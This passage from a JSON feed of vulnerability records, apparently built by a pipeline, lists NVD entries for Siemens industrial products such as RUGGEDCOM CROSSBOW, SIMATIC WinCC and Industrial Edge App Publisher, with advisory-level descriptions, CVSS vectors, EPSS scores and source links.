fixes.","publishedAt":"2026-10-13T10:17:21.500Z","updatedAt":"2026-10-15T20:38:04.303Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-89200","asOf":"2026-10-15T20:38:04.303Z"},"epss":{"probability":0.00142,"percentile":0.03448,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-89200&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-89200","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89200","type":"primary","publishedAt":"2026-10-13T10:17:21.500Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-89200&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-89200, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-89199","cveId":"CVE-2026-89199","aliases":[],"kind":"vulnerability","title":"A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly restrict access to sensitive configuration items via specific...","summary":"A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly restrict access to sensitive configuration items via specific database queries. This could allow an authenticated attacker to retrieve administrative credentials for various internal systems, leading to unauthorized information disclosure and privilege escalation.","detail":"A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly restrict access to sensitive configuration items via specific database queries. This could allow an authenticated attacker to retrieve administrative credentials for various internal systems, leading to unauthorized information disclosure and privilege escalation.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T10:17:21.353Z","updatedAt":"2026-10-15T20:38:04.303Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-89199","asOf":"2026-10-15T20:38:04.303Z"},"epss":{"probability":0.00249,"percentile":0.1606,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-89199&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-89199","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89199","type":"primary","publishedAt":"2026-10-13T10:17:21.353Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-89199&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-89199, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-89198","cveId":"CVE-2026-89198","aliases":[],"kind":"vulnerability","title":"A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly validate or sanitize the filename of firmware files uploaded to...","summary":"A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly validate or sanitize the filename of firmware files uploaded to the system. This could allow an authenticated attacker with specific privileges to execute arbitrary SQL commands on the underlying database.","detail":"A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly validate or sanitize the filename of firmware files uploaded to the system. This could allow an authenticated attacker with specific privileges to execute arbitrary SQL commands on the underlying database.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T10:17:21.200Z","updatedAt":"2026-10-15T20:38:04.303Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-89198","asOf":"2026-10-15T20:38:04.303Z"},"epss":{"probability":0.00304,"percentile":0.22933,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-89198&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-89198","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89198","type":"primary","publishedAt":"2026-10-13T10:17:21.200Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-89198&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-89198, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-89197","cveId":"CVE-2026-89197","aliases":[],"kind":"vulnerability","title":"A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly validate or sanitize input in the Value field of notification...","summary":"A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly validate or sanitize input in the Value field of notification conditions processed during the Notification Profile configuration. This could allow an authenticated attacker with specific privileges to execute arbitrary SQL commands on the underlying database.","detail":"A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly validate or sanitize input in the Value field of notification conditions processed during the Notification Profile configuration. This could allow an authenticated attacker with specific privileges to execute arbitrary SQL commands on the underlying database.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T10:17:21.060Z","updatedAt":"2026-10-16T18:19:42.710Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-89197","asOf":"2026-10-16T18:19:42.710Z"},"epss":{"probability":0.00298,"percentile":0.22223,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-89197&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-89197","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89197","type":"primary","publishedAt":"2026-10-13T10:17:21.060Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-89197&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-89197, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-89196","cveId":"CVE-2026-89196","aliases":[],"kind":"vulnerability","title":"A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly validate or sanitize input in facility names processed during the...","summary":"A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly validate or sanitize input in facility names processed during the Bulk Import/Export workflow. This could allow an authenticated attacker with specific privileges to execute arbitrary SQL commands on the underlying database.","detail":"A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly validate or sanitize input in facility names processed during the Bulk Import/Export workflow. This could allow an authenticated attacker with specific privileges to execute arbitrary SQL commands on the underlying database.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T10:17:20.920Z","updatedAt":"2026-10-15T20:38:04.303Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-89196","asOf":"2026-10-15T20:38:04.303Z"},"epss":{"probability":0.00298,"percentile":0.22223,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-89196&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-89196","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89196","type":"primary","publishedAt":"2026-10-13T10:17:20.920Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-89196&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-89196, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85114","cveId":"CVE-2026-85114","aliases":[],"kind":"vulnerability","title":"A vulnerability has been identified in .NET Client Library for SIMATIC S7 Webserver API (All versions < V3.3.61). Affected applications do not properly validate filenames received...","summary":"A vulnerability has been identified in .NET Client Library for SIMATIC S7 Webserver API (All versions < V3.3.61). Affected applications do not properly validate filenames received from remote servers during ticket downloads.\r\n\r\nThis could allow an attacker who can manipulate the ticket response to write arbitrary files outside the intended download directory and, when overwriting is enabled, replace existing files accessible to the application.","detail":"A vulnerability has been identified in .NET Client Library for SIMATIC S7 Webserver API (All versions < V3.3.61). Affected applications do not properly validate filenames received from remote servers during ticket downloads.\r\n\r\nThis could allow an attacker who can manipulate the ticket response to write arbitrary files outside the intended download directory and, when overwriting is enabled, replace existing files accessible to the application.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T10:17:20.640Z","updatedAt":"2026-10-16T22:18:24.570Z","regions":["Global"],"vendor":null,"product":null,"stacks":[".NET"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85114","asOf":"2026-10-16T22:18:24.570Z"},"epss":{"probability":0.0033,"percentile":0.25918,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85114&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85114","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85114","type":"primary","publishedAt":"2026-10-13T10:17:20.640Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85114&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85114, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-78557","cveId":"CVE-2026-78557","aliases":[],"kind":"vulnerability","title":"A vulnerability has been identified in Industrial Edge App Publisher (All versions < V1.27.9). The application fails to properly sanitize or escape data received from the backend...","summary":"A vulnerability has been identified in Industrial Edge App Publisher (All versions < V1.27.9). The application fails to properly sanitize or escape data received from the backend before rendering it in the user interface. Because the front end is integrated with Node.js, this vulnerability allows for the execution of arbitrary JavaScript, which can be leveraged to achieve remote code execution (RCE) on the victim's machine","detail":"A vulnerability has been identified in Industrial Edge App Publisher (All versions < V1.27.9). The application fails to properly sanitize or escape data received from the backend before rendering it in the user interface. Because the front end is integrated with Node.js, this vulnerability allows for the execution of arbitrary JavaScript, which can be leveraged to achieve remote code execution (RCE) on the victim's machine\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T10:17:20.467Z","updatedAt":"2026-10-15T20:38:04.303Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-78557","asOf":"2026-10-15T20:38:04.303Z"},"epss":{"probability":0.00315,"percentile":0.2419,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-78557&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-78557","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78557","type":"primary","publishedAt":"2026-10-13T10:17:20.467Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-78557&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-78557, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-78556","cveId":"CVE-2026-78556","aliases":[],"kind":"vulnerability","title":"A vulnerability has been identified in Industrial Edge App Publisher (All versions < V1.27.9). The affected software does not properly validate the server certificate when...","summary":"A vulnerability has been identified in Industrial Edge App Publisher (All versions < V1.27.9). The affected software does not properly validate the server certificate when initiating a TLS connection. This allows an attacker to intercept and relay communication (Man-in-the-Middle attack) and to spoof a trusted entity by interfering in the communication path between the client and the intended server.","detail":"A vulnerability has been identified in Industrial Edge App Publisher (All versions < V1.27.9). The affected software does not properly validate the server certificate when initiating a TLS connection. This allows an attacker to intercept and relay communication (Man-in-the-Middle attack) and to spoof a trusted entity by interfering in the communication path between the client and the intended server.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T10:17:20.277Z","updatedAt":"2026-10-16T18:18:37.427Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-78556","asOf":"2026-10-16T18:18:37.427Z"},"epss":{"probability":0.00131,"percentile":0.02709,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-78556&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-78556","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78556","type":"primary","publishedAt":"2026-10-13T10:17:20.277Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-78556&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-78556, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-72895","cveId":"CVE-2026-72895","aliases":[],"kind":"vulnerability","title":"A vulnerability has been identified in SIMATIC IPC BX-21A (All versions < V31.01.13), SIMATIC IPC RW-543A (All versions < V1.1.4), SIMATIC IPC227G / IPC277G / IPC277G PRO /...","summary":"A vulnerability has been identified in SIMATIC IPC BX-21A (All versions < V31.01.13), SIMATIC IPC RW-543A (All versions < V1.1.4), SIMATIC IPC227G / IPC277G / IPC277G PRO / IPC327G / IPC377G (All versions < V28.01.15). A BIOS vendor test key is present in the UEFI Secure Boot key database. This could allow a local attacker with physical or administrative access to the device to boot an operating system or UEFI application signed with that test key, bypassing UEFI Secure Boot protections even when Secure Boot is enabled, potentially leading to a full loss of confidentiality, integrity, and availability of the device.","detail":"A vulnerability has been identified in SIMATIC IPC BX-21A (All versions < V31.01.13), SIMATIC IPC RW-543A (All versions < V1.1.4), SIMATIC IPC227G / IPC277G / IPC277G PRO / IPC327G / IPC377G (All versions < V28.01.15). A BIOS vendor test key is present in the UEFI Secure Boot key database. This could allow a local attacker with physical or administrative access to the device to boot an operating system or UEFI application signed with that test key, bypassing UEFI Secure Boot protections even when Secure Boot is enabled, potentially leading to a full loss of confidentiality, integrity, and availability of the device.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T10:17:20.130Z","updatedAt":"2026-10-15T16:03:48.883Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-72895","asOf":"2026-10-15T16:03:48.883Z"},"epss":{"probability":0.00107,"percentile":0.01137,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-72895&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-72895","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-72895","type":"primary","publishedAt":"2026-10-13T10:17:20.130Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-72895&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-72895, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-59241","cveId":"CVE-2026-59241","aliases":[],"kind":"vulnerability","title":"A vulnerability has been identified in SIMATIC WinCC V7.5 (All versions), SIMATIC WinCC V8.0 (All versions < V8.0 Update 11), SIMATIC WinCC V8.1 (All versions < V8.1 Update 7)....","summary":"A vulnerability has been identified in SIMATIC WinCC V7.5 (All versions), SIMATIC WinCC V8.0 (All versions < V8.0 Update 11), SIMATIC WinCC V8.1 (All versions < V8.1 Update 7). The affected application does not sufficiently restrict the permissions assigned to a database role.\r\nThis could allow an authenticated remote attacker with database access to escalate privileges and execute arbitrary commands on the host system where SIMATIC WinCC is installed, potentially leading to a compromise of the system.","detail":"A vulnerability has been identified in SIMATIC WinCC V7.5 (All versions), SIMATIC WinCC V8.0 (All versions < V8.0 Update 11), SIMATIC WinCC V8.1 (All versions < V8.1 Update 7). The affected application does not sufficiently restrict the permissions assigned to a database role.\r\nThis could allow an authenticated remote attacker with database access to escalate privileges and execute arbitrary commands on the host system where SIMATIC WinCC is installed, potentially leading to a compromise of the system.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T10:17:16.623Z","updatedAt":"2026-10-16T18:17:59.193Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-59241","asOf":"2026-10-16T18:17:59.193Z"},"epss":{"probability":0.0034,"percentile":0.27273,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-59241&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-59241","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59241","type":"primary","publishedAt":"2026-10-13T10:17:16.623Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-59241&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-59241, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44415","cveId":"CVE-2026-44415","aliases":[],"kind":"vulnerability","title":"Affected systems do not properly restrict access to internal APIs and paths for authenticated users.","summary":"Affected systems do not properly restrict access to internal APIs and paths for authenticated users. This could allow an authenticated remote attacker to access sensitive internal information, which in the worst case could be leveraged to facilitate unauthorized access to the system or result in the deletion of data.","detail":"Affected systems do not properly restrict access to internal APIs and paths for authenticated users. This could allow an authenticated remote attacker to access sensitive internal information, which in the worst case could be leveraged to facilitate unauthorized access to the system or result in the deletion of data.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for 